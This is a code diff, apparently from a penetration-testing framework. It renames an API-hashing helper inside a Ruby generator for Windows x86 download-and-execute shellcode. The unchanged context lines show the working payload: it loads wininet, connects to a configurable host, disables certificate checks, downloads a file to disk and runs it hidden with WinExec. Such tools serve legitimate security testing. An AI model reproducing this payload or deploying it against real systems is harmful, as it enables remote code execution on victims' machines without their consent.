@@ -136,7 +136,7 @@ def generate(_opts = {})
136136 push 0x696e6977 ; ...
137137 mov esi, esp ; Save a pointer to wininet
138138 push esp ; Push a pointer to the "wininet" string on the stack.
139- push #{ Rex ::Text . hash ( 'kernel32.dll' , 'LoadLibraryA' ) } ; hash( "kernel32.dll", "LoadLibraryA" )
139+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'LoadLibraryA' ) } ; hash( "kernel32.dll", "LoadLibraryA" )
140140 call ebp ; LoadLibraryA( "wininet" )
141141
142142 internetopen:
@@ -146,7 +146,7 @@ def generate(_opts = {})
146146 push edi ; LPCTSTR lpszProxyName
147147 push edi ; DWORD dwAccessType (PRECONFIG = 0)
148148 push esi ; LPCTSTR lpszAgent ("wininet\x00 ")
149- push #{ Rex ::Text . hash ( 'wininet.dll' , 'InternetOpenA' ) } ; hash( "wininet.dll", "InternetOpenA" )
149+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetOpenA' ) } ; hash( "wininet.dll", "InternetOpenA" )
150150 call ebp
151151
152152 jmp.i8 dbl_get_server_host
@@ -162,7 +162,7 @@ def generate(_opts = {})
162162 push #{ port_nr } ; PORT
163163 push ebx ; HOSTNAME
164164 push eax ; HINTERNET hInternet
165- push #{ Rex ::Text . hash ( 'wininet.dll' , 'InternetConnectA' ) } ; hash( "wininet.dll", "InternetConnectA" )
165+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetConnectA' ) } ; hash( "wininet.dll", "InternetConnectA" )
166166 call ebp
167167
168168 jmp.i8 get_server_uri
@@ -178,7 +178,7 @@ def generate(_opts = {})
178178 push ecx ; url
179179 push edx ; method
180180 push eax ; hConnection
181- push #{ Rex ::Text . hash ( 'wininet.dll' , 'HttpOpenRequestA' ) } ; hash( "wininet.dll", "HttpOpenRequestA" )
181+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpOpenRequestA' ) } ; hash( "wininet.dll", "HttpOpenRequestA" )
182182 call ebp
183183 mov esi, eax ; hHttpRequest
184184
@@ -194,7 +194,7 @@ def generate(_opts = {})
194194 push eax ; &dwFlags
195195 push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
196196 push esi ; hRequest
197- push #{ Rex ::Text . hash ( 'wininet.dll' , 'InternetSetOptionA' ) } ; hash( "wininet.dll", "InternetSetOptionA" )
197+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetSetOptionA' ) } ; hash( "wininet.dll", "InternetSetOptionA" )
198198 call ebp
199199
200200 httpsendrequest:
@@ -204,7 +204,7 @@ def generate(_opts = {})
204204 push edi ; dwHeadersLength
205205 push edi ; headers
206206 push esi ; hHttpRequest
207- push #{ Rex ::Text . hash ( 'wininet.dll' , 'HttpSendRequestA' ) } ; hash( "wininet.dll", "HttpSendRequestA" )
207+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'HttpSendRequestA' ) } ; hash( "wininet.dll", "HttpSendRequestA" )
208208 call ebp
209209 test eax,eax
210210 jnz create_file
@@ -236,7 +236,7 @@ def generate(_opts = {})
236236 push 2 ; dwShareMode
237237 push 2 ; dwDesiredAccess
238238 push edi ; lpFileName
239- push #{ Rex ::Text . hash ( 'kernel32.dll' , 'CreateFileA' ) } ; kernel32.dll!CreateFileA
239+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'CreateFileA' ) } ; kernel32.dll!CreateFileA
240240 call ebp
241241
242242 download_prep:
@@ -253,7 +253,7 @@ def generate(_opts = {})
253253 push eax ; read length
254254 push ecx ; target buffer on stack
255255 push esi ; hRequest
256- push #{ Rex ::Text . hash ( 'wininet.dll' , 'InternetReadFile' ) } ; hash( "wininet.dll", "InternetReadFile" )
256+ push #{ Rex ::Text . block_api_hash ( 'wininet.dll' , 'InternetReadFile' ) } ; hash( "wininet.dll", "InternetReadFile" )
257257 call ebp
258258
259259 test eax,eax ; download failed? (optional?)
@@ -271,20 +271,20 @@ def generate(_opts = {})
271271 lea eax,[esp+0xc] ; get pointer to buffer
272272 push eax ; lpBuffer
273273 push ebx ; hFile
274- push #{ Rex ::Text . hash ( 'kernel32.dll' , 'WriteFile' ) } ; kernel32.dll!WriteFile
274+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'WriteFile' ) } ; kernel32.dll!WriteFile
275275 call ebp
276276 sub esp,4 ; set stack back to where it was
277277 jmp.i8 download_more
278278
279279 close_and_run:
280280 push ebx
281- push #{ Rex ::Text . hash ( 'kernel32.dll' , 'CloseHandle' ) } ; kernel32.dll!CloseHandle
281+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'CloseHandle' ) } ; kernel32.dll!CloseHandle
282282 call ebp
283283
284284 execute_file:
285285 push 0 ; don't show
286286 push edi ; lpCmdLine
287- push #{ Rex ::Text . hash ( 'kernel32.dll' , 'WinExec' ) } ; kernel32.dll!WinExec
287+ push #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'WinExec' ) } ; kernel32.dll!WinExec
288288 call ebp
289289
290290 thats_all_folks:
0 commit comments